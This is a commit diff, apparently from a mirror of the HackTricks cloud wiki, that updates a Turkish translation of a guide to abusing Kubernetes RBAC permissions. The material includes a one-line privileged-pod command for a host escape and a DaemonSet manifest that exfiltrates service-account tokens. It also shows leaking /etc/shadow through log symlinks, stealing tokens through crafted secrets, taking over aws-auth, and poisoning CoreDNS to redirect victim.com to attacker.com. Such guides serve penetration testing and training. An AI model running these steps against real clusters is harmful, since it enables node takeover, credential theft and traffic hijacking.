mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
Translator
+133
-114
@@ -7,17 +7,17 @@ Unutmayın ki `kubectl api-resources` ile tüm desteklenen kaynakları alabilirs
|
||||
|
||||
## **Ayrıcalık Yükseltme**
|
||||
|
||||
**Farklı ayrıcalıklara sahip** **farklı bir prensibe erişim sağlama** sanatı olarak tanımlanır (kubernetes kümesinde veya dış bulutlara) ve Kubernetes'te temelde **ayrıcalıkları yükseltmek için 4 ana teknik** vardır:
|
||||
Küme içinde **farklı ayrıcalıklara** sahip **farklı bir prensibe erişim sağlama sanatı** olarak tanımlanır (kubernetes kümesi içinde veya dış bulutlara), Kubernetes'te temelde **ayrıcalıkları yükseltmek için 4 ana teknik** vardır:
|
||||
|
||||
- Kubernetes kümesinde veya dış bulutlarda daha iyi ayrıcalıklara sahip diğer kullanıcı/grupları/SAs **taklit edebilme**
|
||||
- Kubernetes kümesinde veya dış bulutlarda daha iyi ayrıcalıklara sahip SAs'yi **bulabileceğiniz veya ekleyebileceğiniz** **podlar oluşturma/yamanlama/çalıştırma**
|
||||
- Kubernetes kümesi içinde veya dış bulutlara daha iyi ayrıcalıklara sahip diğer kullanıcı/grupları/SAs'yi **taklit edebilme**
|
||||
- Kubernetes kümesi içinde veya dış bulutlara daha iyi ayrıcalıklara sahip SAs'yi **bulabileceğiniz veya ekleyebileceğiniz podlar oluşturma/yamanlama/çalıştırma**
|
||||
- SAs token'larının gizli olarak saklandığı için **gizli bilgileri okuma**
|
||||
- Bir konteynerden **düğümüne kaçabilme**, burada düğümde çalışan konteynerlerin tüm gizli bilgilerini, düğümün kimlik bilgilerini ve çalıştığı buluttaki düğümün izinlerini çalabilirsiniz (varsa)
|
||||
- Anılması gereken beşinci bir teknik, bir podda **port-forward çalıştırma** yeteneğidir; bu sayede o pod içinde ilginç kaynaklara erişim sağlayabilirsiniz.
|
||||
- Bir konteynerden **düğüme kaçabilme**, burada düğümde çalışan konteynerlerin tüm gizli bilgilerini, düğümün kimlik bilgilerini ve çalıştığı bulut içindeki düğümün izinlerini çalabilirsiniz (varsa)
|
||||
- Anılması gereken beşinci bir teknik, bir podda **port-forward çalıştırma** yeteneğidir, çünkü bu pod içinde ilginç kaynaklara erişim sağlayabilirsiniz.
|
||||
|
||||
### Herhangi Bir Kaynağa veya Fiile Erişim (Wildcard)
|
||||
|
||||
**Wildcard (\*) herhangi bir kaynak üzerinde herhangi bir fiil için izin verir**. Yöneticiler tarafından kullanılır. Bir ClusterRole içinde bu, bir saldırganın kümedeki herhangi bir namespace'i suistimal edebileceği anlamına gelir.
|
||||
**wildcard (\*) herhangi bir kaynak üzerinde herhangi bir fiil için izin verir**. Yöneticiler tarafından kullanılır. Bir ClusterRole içinde bu, bir saldırganın kümedeki herhangi bir namespace'i kötüye kullanabileceği anlamına gelir.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -33,8 +33,8 @@ verbs: ["*"]
|
||||
|
||||
RBAC'de, belirli izinler önemli riskler taşır:
|
||||
|
||||
1. **`create`:** Herhangi bir küme kaynağı oluşturma yetkisi verir, ayrıcalık yükseltme riski taşır.
|
||||
2. **`list`:** Tüm kaynakları listeleme izni verir, hassas verilerin sızdırılma potansiyelini artırır.
|
||||
1. **`create`:** Herhangi bir küme kaynağı oluşturma yetkisi verir, ayrıcalık yükselmesi riski taşır.
|
||||
2. **`list`:** Tüm kaynakları listeleme izni verir, hassas verilerin sızdırılma olasılığını artırır.
|
||||
3. **`get`:** Hizmet hesaplarından gizli bilgilere erişim izni verir, güvenlik tehdidi oluşturur.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
@@ -72,14 +72,14 @@ serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
```
|
||||
### Pod Oluşturma ve Kaçış
|
||||
### Pod Oluşturma & Kaçış
|
||||
|
||||
Aşağıdakiler, bir konteynerin sahip olabileceği tüm ayrıcalıkları gösterir:
|
||||
|
||||
- **Ayrıcalıklı erişim** (korumaları devre dışı bırakma ve yetenekleri ayarlama)
|
||||
- **hostIPC ve hostPid ad alanlarını devre dışı bırakma** bu, ayrıcalıkları artırmaya yardımcı olabilir
|
||||
- **hostNetwork** ad alanını devre dışı bırakma, düğümlerin bulut ayrıcalıklarını çalma ve ağlara daha iyi erişim sağlama
|
||||
- **Konteyner içinde / ana makineyi bağlama**
|
||||
- **Konteyner içinde / ana makineleri bağlama**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -119,29 +119,27 @@ Pod'u oluşturun:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Tek satırlık [bu tweet](https://twitter.com/mauilion/status/1129468485480751104) ve bazı eklemelerle:
|
||||
Tek satırlık [bu tweet](https://twitter.com/mauilion/status/1129468485480751104) ve bazı eklemeler:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Şimdi düğüme kaçabildiğinize göre, post-exploitation tekniklerine bakın:
|
||||
|
||||
#### Stealth
|
||||
#### Gizlilik
|
||||
|
||||
Muhtemelen daha **gizli** olmak istiyorsunuz, aşağıdaki sayfalarda, önceki şablonda belirtilen bazı ayrıcalıkları etkinleştirerek bir pod oluşturursanız neleri erişebileceğinizi görebilirsiniz:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
- **Ayrıcalıklı + hostPID**
|
||||
- **Sadece ayrıcalıklı**
|
||||
- **hostPath**
|
||||
- **hostPID**
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Önceki ayrıcalıklı pod yapılandırmalarını nasıl oluşturacağınız/istismar edeceğinizle ilgili örnekleri_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _adresinde bulabilirsiniz._
|
||||
_Önceki ayrıcalıklı pod yapılandırmalarını nasıl oluşturup/istismar edeceğinize dair örnekleri_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _adresinde bulabilirsiniz._
|
||||
|
||||
### Pod Oluştur - Buluta Taşı
|
||||
### Pod Oluştur - Buluta Geç
|
||||
|
||||
Eğer bir **pod** (ve isteğe bağlı olarak bir **service account**) **oluşturabiliyorsanız**, **bulut ortamında ayrıcalık elde etme** şansınız olabilir; bunu **bir pod veya bir service account'a bulut rolleri atayarak** ve ardından ona erişerek yapabilirsiniz.\
|
||||
Ayrıca, eğer **host network namespace** ile bir **pod oluşturabiliyorsanız**, **düğüm** örneğinin IAM rolünü **çalıştırabilirsiniz**.
|
||||
Eğer bir **pod** (ve isteğe bağlı olarak bir **hizmet hesabı**) **oluşturabiliyorsanız**, bir pod veya hizmet hesabına **bulut rolleri atayarak bulut ortamında ayrıcalık elde etme** şansınız olabilir ve ardından buna erişebilirsiniz.\
|
||||
Ayrıca, eğer **host network namespace** ile bir **pod** oluşturabiliyorsanız, **node** örneğinin IAM rolünü **çalıştırabilirsiniz**.
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
@@ -149,11 +147,11 @@ Daha fazla bilgi için kontrol edin:
|
||||
pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### **Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs ve Cronjobs Oluştur/Düzelt**
|
||||
### **Deployment, Daemonset, Statefulset, Replicationcontroller, Replicaset, Job ve Cronjob Oluştur/Düzelt**
|
||||
|
||||
Bu izinleri istismar ederek **yeni bir pod oluşturmak** ve önceki örnekte olduğu gibi ayrıcalıklar elde etmek mümkündür.
|
||||
|
||||
Aşağıdaki yaml **bir daemonset oluşturur ve pod içindeki SA'nın token'ını dışarı aktarır:**
|
||||
Aşağıdaki yaml **bir daemonset oluşturur ve pod içindeki SA'nın tokenini dışarı aktarır:**
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -191,16 +189,21 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** kubernetes'te **bir pod içinde bir shell'de komut çalıştırmak için kullanılan bir kaynaktır**. Bu, **konteynerler içinde komut çalıştırmaya veya bir shell'e girmeye** olanak tanır.
|
||||
**`pods/exec`** kubernetes'te **bir pod içinde bir shell'de komut çalıştırmak için** kullanılan bir kaynaktır. Bu, **konteynerler içinde komut çalıştırmaya veya bir shell'e girmeye** olanak tanır.
|
||||
|
||||
Bu nedenle, **bir pod'a girmek ve SA'nın token'ını çalmak** veya ayrıcalıklı bir pod'a girmek, düğüme kaçmak ve düğümdeki tüm pod'ların token'larını çalmak ve (kötüye) kullanmak mümkündür:
|
||||
Bu nedenle, **bir pod'a girip SA'nın token'ını çalmak** veya ayrıcalıklı bir pod'a girip, node'a kaçmak ve node'daki tüm pod'ların token'larını çalmak ve node'u (suistimal) etmek mümkündür:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> Varsayılan olarak, komut pod'un ilk konteynerinde çalıştırılır. `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` ile **bir konteynerdeki tüm pod'ları** alın ve ardından `kubectl exec -it <pod_name> -c <container_name> -- sh` ile çalıştırmak istediğiniz **konteyneri** belirtin.
|
||||
|
||||
Eğer bir distroless konteyner ise, konteynerlerin bilgilerini almak veya kendi araçlarınızı yüklemek için **shell builtins** kullanmayı deneyebilirsiniz, örneğin: **`kubectl cp </path/local/file> <podname>:</path/in/container>`** ile **busybox** yükleyerek.
|
||||
|
||||
### port-forward
|
||||
|
||||
Bu izin, **bir yerel portu belirtilen pod'daki bir porta yönlendirmeye** olanak tanır. Bu, bir pod içinde çalışan uygulamaları kolayca hata ayıklamak için tasarlanmıştır, ancak bir saldırgan bunu, bir pod içindeki ilginç (örneğin DB'ler) veya savunmasız uygulamalara (webler?) erişim elde etmek için kötüye kullanabilir:
|
||||
```
|
||||
Bu izin, **bir yerel portu belirtilen pod'daki bir porta yönlendirmeye** olanak tanır. Bu, bir pod içinde çalışan uygulamaları kolayca hata ayıklamak için tasarlanmıştır, ancak bir saldırgan bunu, bir pod içindeki ilginç (DB'ler gibi) veya savunmasız uygulamalara (webler?) erişim elde etmek için kötüye kullanabilir:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Kaçış
|
||||
@@ -211,7 +214,7 @@ Kubelet servisi, temelde **konteynerin `/var/log` dosya sistemini açan** `/logs
|
||||
|
||||
Bu nedenle, konteynerin **/var/log/ klasöründe yazma erişimi olan** bir saldırgan bu davranışları 2 şekilde kötüye kullanabilir:
|
||||
|
||||
- Konteynerinin `0.log` dosyasını (genellikle `/var/logs/pods/namespace_pod_uid/container/0.log` konumunda bulunur) örneğin **`/etc/shadow`**'a işaret eden bir **sembolik bağlantı** olacak şekilde değiştirmek. Ardından, şu şekilde ana bilgisayarın shadow dosyasını dışarı aktarabileceksiniz:
|
||||
- Konteynerinin `0.log` dosyasını (genellikle `/var/logs/pods/namespace_pod_uid/container/0.log` konumunda bulunur) örneğin **`/etc/shadow`**'a işaret eden bir **sembolik bağlantı** olacak şekilde değiştirmek. Ardından, hosts shadow dosyasını dışarıya aktarabileceksiniz:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -219,7 +222,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Eğer saldırgan, **`nodes/log`'u okuma izinlerine sahip** herhangi bir yetkiliyi kontrol ediyorsa, sadece `/host-mounted/var/log/sym` içinde `/`'ye bir **symlink** oluşturabilir ve **`https://<gateway>:10250/logs/sym/`'ye eriştiğinde, ana bilgisayarın kök** dosya sistemini listeleyecektir (symlink'i değiştirmek dosyalara erişim sağlayabilir).
|
||||
- Eğer saldırgan, **`nodes/log`'u okuma izinlerine sahip** herhangi bir yetkiliyi kontrol ediyorsa, `/host-mounted/var/log/sym` içinde `/`'ye bir **symlink** oluşturabilir ve **`https://<gateway>:10250/logs/sym/` adresine eriştiğinde, ana bilgisayarın kök** dosya sistemini listeleyebilir (symlink'i değiştirmek dosyalara erişim sağlayabilir).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -231,11 +234,11 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**Bir laboratuvar ve otomatik istismar** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) bulunabilir.
|
||||
**Bir laboratuvar ve otomatik istismar** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) adresinde bulunabilir.
|
||||
|
||||
#### readOnly korumasını aşma <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Eğer şanslıysanız ve yüksek ayrıcalıklı yetenek `CAP_SYS_ADMIN` mevcutsa, klasörü rw olarak yeniden monte edebilirsiniz:
|
||||
Eğer şanslıysanız ve yüksek ayrıcalıklı `CAP_SYS_ADMIN` yeteneği mevcutsa, klasörü rw olarak yeniden monte edebilirsiniz:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
@@ -247,7 +250,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Önceki gibi kaçışları önlemek için, bir hostPath montajı kullanmak yerine, bir PersistentVolume ve bir PersistentVolumeClaim kullanarak bir ana bilgisayar klasörünü konteynerde yazılabilir erişimle monte etmek amacıyla tasarlanmıştır:
|
||||
Öncekiler gibi kaçışları önlemek için, bir hostPath montajı kullanmak yerine, bir PersistentVolume ve bir PersistentVolumeClaim kullanarak bir ana bilgisayar klasörünü konteynerde yazılabilir erişimle monte etmek amacıyla tasarlanmıştır:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -318,7 +321,7 @@ curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1
|
||||
```
|
||||
### Gizli Anahtarlar Oluşturma ve Okuma
|
||||
|
||||
**kubernetes.io/service-account-token** türünde özel bir Kubernetes gizli anahtarı, serviceaccount token'larını saklar. Eğer gizli anahtarlar oluşturma ve okuma izinleriniz varsa ve ayrıca serviceaccount'un adını biliyorsanız, aşağıdaki gibi bir gizli anahtar oluşturabilir ve ardından kurban serviceaccount'un token'ını ondan çalabilirsiniz:
|
||||
**kubernetes.io/service-account-token** türünde özel bir Kubernetes gizli anahtarı, serviceaccount token'larını depolar. Eğer gizli anahtarlar oluşturma ve okuma izinleriniz varsa ve ayrıca serviceaccount'un adını biliyorsanız, aşağıdaki gibi bir gizli anahtar oluşturabilir ve ardından kurban serviceaccount'un token'ını ondan çalabilirsiniz:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -377,19 +380,19 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Not edin ki, belirli bir ad alanında gizli anahtarlar oluşturma ve okuma izniniz varsa, kurban hizmet hesabı da aynı ad alanında olmalıdır.
|
||||
Not edin ki, belirli bir ad alanında gizli anahtarları oluşturma ve okuma izniniz varsa, kurban hizmet hesabı da aynı ad alanında olmalıdır.
|
||||
|
||||
### Gizli bir anahtarı okuma – token ID'lerini brute-force ile kırma
|
||||
### Gizli bir anahtarı okuma – token kimliklerini brute-force ile kırma
|
||||
|
||||
Okuma izinlerine sahip bir token'a sahip bir saldırgan, bunu kullanmak için gizli anahtarın tam adını gerektirirken, daha geniş _**gizli anahtarları listeleme**_ ayrıcalığının aksine, hala zayıflıklar vardır. Sistem içindeki varsayılan hizmet hesapları sıralanabilir ve her biri bir gizli anahtarla ilişkilidir. Bu gizli anahtarların bir ad yapısı vardır: belirli bir ön ekin ardından rastgele beş karakterli alfanümerik bir token (belirli karakterler hariç) gelir; bu, [kaynak koduna](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) göre belirlenmiştir.
|
||||
Okuma izinlerine sahip bir token'a sahip bir saldırganın, onu kullanmak için gizli anahtarın tam adını bilmesi gerekir; ancak daha geniş _**gizli anahtarları listeleme**_ ayrıcalığına kıyasla, hala zayıflıklar vardır. Sistem içindeki varsayılan hizmet hesapları sıralanabilir ve her biri bir gizli anahtarla ilişkilidir. Bu gizli anahtarların bir ad yapısı vardır: belirli bir ön ekin ardından rastgele beş karakterli alfanümerik bir token gelir (belirli karakterler hariç) [kaynak koduna](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) göre.
|
||||
|
||||
Token, tam alfanümerik aralık yerine sınırlı bir 27 karakter setinden (`bcdfghjklmnpqrstvwxz2456789`) üretilir. Bu sınırlama, toplam olası kombinasyonları 14,348,907 (27^5) ile sınırlar. Sonuç olarak, bir saldırgan, token'ı birkaç saat içinde çözmek için makul bir brute-force saldırısı gerçekleştirebilir ve bu da hassas hizmet hesaplarına erişim yoluyla ayrıcalık yükselmesine yol açabilir.
|
||||
Token, tam alfanümerik aralık yerine sınırlı bir 27 karakter setinden (`bcdfghjklmnpqrstvwxz2456789`) üretilir. Bu sınırlama, toplam olası kombinasyonları 14,348,907'ye (27^5) düşürür. Sonuç olarak, bir saldırgan, token'ı birkaç saat içinde çözmek için makul bir brute-force saldırısı gerçekleştirebilir ve bu da hassas hizmet hesaplarına erişim yoluyla ayrıcalık yükselmesine yol açabilir.
|
||||
|
||||
### Sertifika İmzalama Talepleri
|
||||
|
||||
Eğer `certificatesigningrequests` kaynağında **`create`** fiillerine (veya en azından `certificatesigningrequests/nodeClient` içinde) sahipseniz, **yeni bir düğüm için** yeni bir CeSR **oluşturabilirsiniz.**
|
||||
Eğer `certificatesigningrequests` kaynağında **`create`** fiillerine sahip iseniz (veya en azından `certificatesigningrequests/nodeClient` içinde). Yeni bir **node** için yeni bir CeSR **oluşturabilirsiniz.**
|
||||
|
||||
[Belgelerde bu talepleri otomatik onaylamanın mümkün olduğu belirtiliyor](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), bu durumda **ek izinlere ihtiyacınız yoktur**. Aksi takdirde, talebi onaylayabilmeniz gerekir; bu, `certificatesigningrequests/approval` içinde güncelleme ve `signers` içinde `approve` anlamına gelir; resourceName `<signerNameDomain>/<signerNamePath>` veya `<signerNameDomain>/*` şeklinde olmalıdır.
|
||||
[Belgelere](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) göre, bu talepleri otomatik olarak onaylamak mümkündür, bu durumda **ek izinlere ihtiyacınız yoktur**. Aksi takdirde, talebi onaylayabilmeniz gerekir, bu da `certificatesigningrequests/approval` içinde güncelleme ve `signers` içinde `approve` anlamına gelir; resourceName `<signerNameDomain>/<signerNamePath>` veya `<signerNameDomain>/*` olmalıdır.
|
||||
|
||||
Gerekli tüm izinlere sahip bir **rol örneği**:
|
||||
```yaml
|
||||
@@ -424,8 +427,8 @@ verbs:
|
||||
```
|
||||
Yeni node CSR onaylandığında, node'ların özel izinlerini **istismar** ederek **gizli bilgileri çalabilir** ve **yetki yükseltebilirsiniz**.
|
||||
|
||||
[**Bu yazıda**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) ve [**şu yazıda**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) GKE K8s TLS Bootstrap yapılandırması **otomatik imzalama** ile yapılandırılmıştır ve bu, yeni bir K8s Node'un kimlik bilgilerini oluşturmak için istismar edilir ve ardından bu kimlik bilgileri kullanılarak gizli bilgileri çalarak yetki yükseltilir.\
|
||||
Eğer **belirtilen yetkilere sahipseniz aynı şeyi yapabilirsiniz**. İlk örneğin, yeni bir node'un konteynerler içindeki gizli bilgilere erişimini engelleyen hatayı aştığını unutmayın çünkü **bir node yalnızca üzerine monte edilmiş konteynerlerin gizli bilgilerine erişebilir.**
|
||||
[**Bu yazıda**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) ve [**şu yazıda**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) GKE K8s TLS Bootstrap yapılandırması **otomatik imzalama** ile yapılandırılmıştır ve bu, yeni bir K8s Node'un kimlik bilgilerini oluşturmak için istismar edilmekte ve ardından bu kimlik bilgileri kullanılarak gizli bilgileri çalarak yetki yükseltilmektedir.\
|
||||
Eğer **bahsedilen yetkilere sahipseniz, aynı şeyi yapabilirsiniz**. İlk örneğin, yeni bir node'un konteynerler içindeki gizli bilgilere erişimini engelleyen hatayı aştığını unutmayın çünkü **bir node yalnızca üzerine monte edilmiş konteynerlerin gizli bilgilerine erişebilir.**
|
||||
|
||||
Bunu aşmanın yolu, **ilginç gizli bilgilerin monte edildiği konteynerin bulunduğu node adı için bir node kimlik bilgisi oluşturmak**tır (ama bunu nasıl yapacağınızı ilk yazıda kontrol edin):
|
||||
```bash
|
||||
@@ -433,7 +436,7 @@ Bunu aşmanın yolu, **ilginç gizli bilgilerin monte edildiği konteynerin bulu
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
EKS (AWS'de olmanız gerekir) kümelerinde kube-system ad alanındaki **`configmaps`**'leri değiştirebilen ilkeler, **aws-auth** configmap'ini geçersiz kılarak küme yönetici ayrıcalıkları elde edebilir.\
|
||||
EKS (AWS'de olmanız gerekir) kümelerindeki kube-system ad alanında **`configmaps`**'i değiştirebilen ilkeler, **aws-auth** configmap'ini geçersiz kılarak küme yönetici ayrıcalıkları elde edebilir.\
|
||||
Gerekli fiiller **`update`** ve **`patch`**'tir, veya configmap oluşturulmadıysa **`create`**'dir:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
@@ -474,20 +477,60 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> **`aws-auth`** kullanarak **kalıcılık** sağlamak için **diğer hesaplardan** kullanıcılara erişim verebilirsiniz.
|
||||
> **`aws-auth`**'ı **kalıcılık** için **diğer hesaplardan** kullanıcı erişimi vermek amacıyla kullanabilirsiniz.
|
||||
>
|
||||
> Ancak, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **farklı bir hesap üzerinden çalışmaz**. Ama aslında `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` çalışır, eğer sadece ismin yerine küme ARN'sini koyarsanız.\
|
||||
> `kubectl`'in çalışması için, sadece **kurbanın kubeconfig'ini** **yapılandırdığınızdan** emin olun ve aws exec argümanlarına `--profile other_account_role` ekleyin, böylece kubectl token almak ve AWS ile iletişim kurmak için diğer hesap profilini kullanacaktır.
|
||||
> Ancak, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **farklı bir hesaptan çalışmaz**. Ama aslında `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` çalışır, eğer sadece ismin yerine kümenin ARN'sini koyarsanız.\
|
||||
> `kubectl`'in çalışması için, sadece **kurbanın kubeconfig**'ini **yapılandırdığınızdan** emin olun ve aws exec argümanlarına `--profile other_account_role` ekleyin, böylece kubectl token almak ve AWS ile iletişim kurmak için diğer hesabın profilini kullanacaktır.
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
Eğer `kube-system` ad alanındaki **`coredns` configmap**'ini değiştirme izinleriniz varsa, adreslerin hangi alanlara çözümleneceğini değiştirerek **hassas bilgileri çalmak veya kötü niyetli içerik enjekte etmek** için MitM saldırıları gerçekleştirebilirsiniz.
|
||||
|
||||
Gerekli fiiller **`update`** ve **`patch`**'tir, **`coredns`** configmap'i (veya tüm config map'ler) üzerinde.
|
||||
|
||||
Normal bir **coredns dosyası** şunları içerir:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
.:53 {
|
||||
log
|
||||
errors
|
||||
health {
|
||||
lameduck 5s
|
||||
}
|
||||
ready
|
||||
kubernetes cluster.local in-addr.arpa ip6.arpa {
|
||||
pods insecure
|
||||
fallthrough in-addr.arpa ip6.arpa
|
||||
ttl 30
|
||||
}
|
||||
prometheus :9153
|
||||
hosts {
|
||||
192.168.49.1 host.minikube.internal
|
||||
fallthrough
|
||||
}
|
||||
forward . /etc/resolv.conf {
|
||||
max_concurrent 1000
|
||||
}
|
||||
cache 30
|
||||
loop
|
||||
reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Bir saldırgan, `kubectl get configmap coredns -n kube-system -o yaml` komutunu çalıştırarak bunu indirebilir, `rewrite name victim.com attacker.com` gibi bir şey ekleyerek değiştirebilir, böylece `victim.com` erişildiğinde aslında erişilecek alan adı `attacker.com` olacaktır. Ardından, `kubectl apply -f poison_dns.yaml` komutunu çalıştırarak bunu uygulayabilir.
|
||||
|
||||
Diğer bir seçenek, `kubectl edit configmap coredns -n kube-system` komutunu çalıştırarak dosyayı düzenlemek ve değişiklikler yapmaktır.
|
||||
|
||||
### GKE'de Yükselme
|
||||
|
||||
**GCP ilkelerine K8s izinleri atamak için 2 yol vardır**. Her durumda, ilkenin kümeye erişim sağlamak için **`container.clusters.get`** iznine de ihtiyacı vardır, aksi takdirde **kendi kubectl yapılandırma dosyanızı oluşturmanız** gerekecektir (bir sonraki bağlantıyı takip edin).
|
||||
**GCP ilkelerine K8s izinleri atamanın 2 yolu vardır**. Her durumda, ilkenin ayrıca kümeye erişim sağlamak için **`container.clusters.get`** iznine de ihtiyacı vardır, aksi takdirde **kendi kubectl yapılandırma dosyanızı oluşturmanız** gerekecektir (bir sonraki bağlantıyı takip edin).
|
||||
|
||||
> [!WARNING]
|
||||
> K8s api uç noktasıyla konuşurken, **GCP kimlik doğrulama token'ı gönderilecektir**. Ardından, GCP, K8s api uç noktası aracılığıyla, önce **ilkenin** (e-posta ile) **kümeye herhangi bir erişimi olup olmadığını kontrol edecektir**, ardından **GCP IAM aracılığıyla herhangi bir erişimi olup olmadığını** kontrol edecektir.\
|
||||
> Eğer bu durumlardan **herhangi biri** **doğruysa**, **yanıt verilecektir**. Eğer **değilse**, **GCP IAM aracılığıyla izinler verilmesi** öneren bir **hata** verilecektir.
|
||||
> K8s api uç noktasıyla konuşurken, **GCP kimlik doğrulama belirteci gönderilecektir**. Ardından, GCP, K8s api uç noktası aracılığıyla, önce **ilkenin** (e-posta ile) **kümeye herhangi bir erişimi olup olmadığını kontrol edecektir**, ardından **GCP IAM aracılığıyla herhangi bir erişimi olup olmadığını** kontrol edecektir.\
|
||||
> Eğer bu **herhangi biri** **doğruysa**, **yanıt verilecektir**. Eğer **değilse**, **GCP IAM aracılığıyla izinler verilmesi gerektiğini** öneren bir **hata** verilecektir.
|
||||
|
||||
İlk yöntem **GCP IAM** kullanmaktır, K8s izinlerinin **eşdeğer GCP IAM izinleri** vardır ve eğer ilke buna sahipse, bunu kullanabilecektir.
|
||||
İlk yöntem **GCP IAM** kullanmaktır, K8s izinlerinin **eşdeğer GCP IAM izinleri** vardır ve ilke buna sahipse, bunu kullanabilecektir.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -501,7 +544,7 @@ groups:
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
**`update`** veya **`patch`** **`pods/ephemeralcontainers`** üzerinde yetkisi olan ilkeler, **diğer pod'larda kod çalıştırma** yeteneğine sahip olabilir ve ayrıcalıklı bir securityContext ile geçici bir konteyner ekleyerek **düğümden çıkma** potansiyeline sahip olabilir.
|
||||
**`update`** veya **`patch`** **`pods/ephemeralcontainers`** üzerinde yetkisi olan ilkeler, **diğer podlarda kod çalıştırma** yeteneğine sahip olabilir ve ayrıcalıklı bir securityContext ile bir ephemeral container ekleyerek **düğümden çıkma** potansiyeline sahip olabilir.
|
||||
|
||||
### ValidatingWebhookConfigurations veya MutatingWebhookConfigurations
|
||||
|
||||
@@ -511,21 +554,21 @@ groups:
|
||||
|
||||
### Yükselme
|
||||
|
||||
Bir sonraki bölümde okuyabileceğiniz gibi: [**Yerleşik Ayrıcalık Yükseltme Önleme**](#built-in-privileged-escalation-prevention), bir ilke, kendisi bu yeni izinlere sahip olmadan roller veya clusterroller oluşturamaz veya güncelleyemez. Ancak **`roles`** veya **`clusterroles`** üzerinde **`escalate`** fiiline sahipse, yeni roller, daha iyi izinlere sahip clusterroller oluşturup/güncelleyebilir.
|
||||
